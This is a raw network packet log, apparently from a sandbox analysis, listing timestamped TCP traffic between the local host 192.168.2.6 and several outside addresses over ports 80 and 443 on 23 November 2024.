Nov 23, 2024 09:16:56.532152891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.532195091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.533051014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.533173084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.533224106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.534159899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.534235001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.534238100 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.534264088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.534400940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.535254955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.535362005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.535389900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.535401106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.536358118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.536415100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.536483049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.536674023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.537580967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.537595034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.537646055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.538556099 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.538611889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.538672924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.538708925 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.539654016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.539707899 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.539742947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.539782047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.540791988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.540869951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.540901899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.540968895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.541894913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.541909933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.541950941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.542972088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.543056965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.543062925 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.543100119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.544100046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.544162989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.544181108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.544218063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.545171022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.545229912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.545288086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.545324087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.546257973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.546320915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.546359062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.546411037 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.547367096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.547418118 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.558269024 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.558345079 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.559969902 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.560671091 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.560719013 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.560756922 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.560784101 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.560798883 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.561528921 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.561546087 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.561556101 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.561561108 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.567764044 CET	49898	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.567789078 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.567928076 CET	49898	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.568082094 CET	49898	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.568095922 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.581366062 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.581439018 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.581583977 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.582145929 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.582154036 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.582164049 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.582168102 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.584971905 CET	49899	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.585026026 CET	443	49899	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.585164070 CET	49899	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.585342884 CET	49899	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.585355997 CET	443	49899	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.590955973 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.590976000 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.591027975 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.591056108 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.591073990 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.595568895 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.595622063 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.595752001 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.595793962 CET	49883	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.595802069 CET	443	49883	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.599176884 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.599203110 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.599263906 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.599436998 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:56.599451065 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:56.627377033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.627439022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.627449989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.627489090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.627902985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.627950907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.627950907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.627991915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.628999949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.629112959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.629162073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.630105019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.630162001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.630198956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.630240917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.631228924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.631310940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.631331921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.631359100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.632353067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.632432938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.632461071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.632473946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.633419037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.633466959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.633471012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.633514881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.644093037 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.651858091 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.651884079 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.651942015 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.651957989 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.652000904 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.657773972 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.657789946 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.657847881 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.657859087 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.657902956 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.662928104 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.662944078 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.663002014 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.663012028 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.663055897 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.668867111 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.668883085 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.668939114 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.668947935 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.669233084 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.674634933 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.674659967 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.674721003 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.674731016 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.674770117 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.680237055 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.680253029 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.680315018 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.680324078 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.680362940 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.685198069 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.685241938 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.685261965 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.685267925 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.685305119 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.698506117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.698563099 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.698664904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.698807955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.699023008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.699069977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.699104071 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.699145079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.700200081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.700242043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.700448036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.700639963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.701338053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.701385021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.701392889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.701435089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.702347040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.702394009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.702398062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.702435017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.703464031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.703522921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.703561068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.703608036 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.704452991 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.704473972 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.704509020 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.704516888 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.704545021 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.704571962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.704679012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.704689026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.704718113 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.705719948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.705774069 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.705797911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.705837011 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.706851006 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.706914902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.706948042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.706988096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.707844973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.707905054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.707937002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.707997084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.708982944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.709028006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.709090948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.709147930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.710129976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.710270882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.710304976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.710321903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.711185932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.711227894 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.711309910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.711409092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.712358952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.712421894 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.712488890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.712563992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.713367939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.713426113 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.713459969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.713501930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.714484930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.714540958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.714565992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.714606047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.715590954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.715610981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.715656996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.715656996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.716737032 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.716749907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.716778994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.716799974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.717798948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.717859030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.717895031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.717947006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.718390942 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.718403101 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.718431950 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.718461990 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.718492985 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.718516111 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.718533039 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.718909025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.718955040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.719084978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.719129086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.719978094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.720031977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.720093012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.720207930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.721129894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.721195936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.721203089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.721239090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.722196102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.722264051 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.722306967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.722423077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.723315954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.723366022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.723383904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.723423004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.724128962 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.724195957 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.724199057 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.724319935 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.724406004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.724415064 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.724436045 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:56.724452019 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.724458933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.724473953 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:56.724520922 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.724559069 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.725517035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.725625992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.725655079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.725667953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.726629019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.726670027 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.726706982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.726752043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.727739096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.727781057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.727844000 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.727883101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.728950024 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.728997946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.729057074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.729100943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.729906082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.729960918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.730117083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.730165005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.731034040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.731081963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.731127977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.731170893 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.732151985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.732211113 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.732305050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.732356071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.733243942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.733294964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.733299971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.733336926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.734400988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.734456062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.734549046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.734754086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.735455990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.735501051 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.735558987 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.735616922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.736534119 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.736628056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.736646891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.736660004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.737662077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.737723112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.737802029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.737838984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.738745928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.738792896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.738861084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.738904953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.739880085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.739932060 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.739953995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.740082979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.740978956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.741137981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.741159916 CET	49816	80	192.168.2.6	185.215.113.206
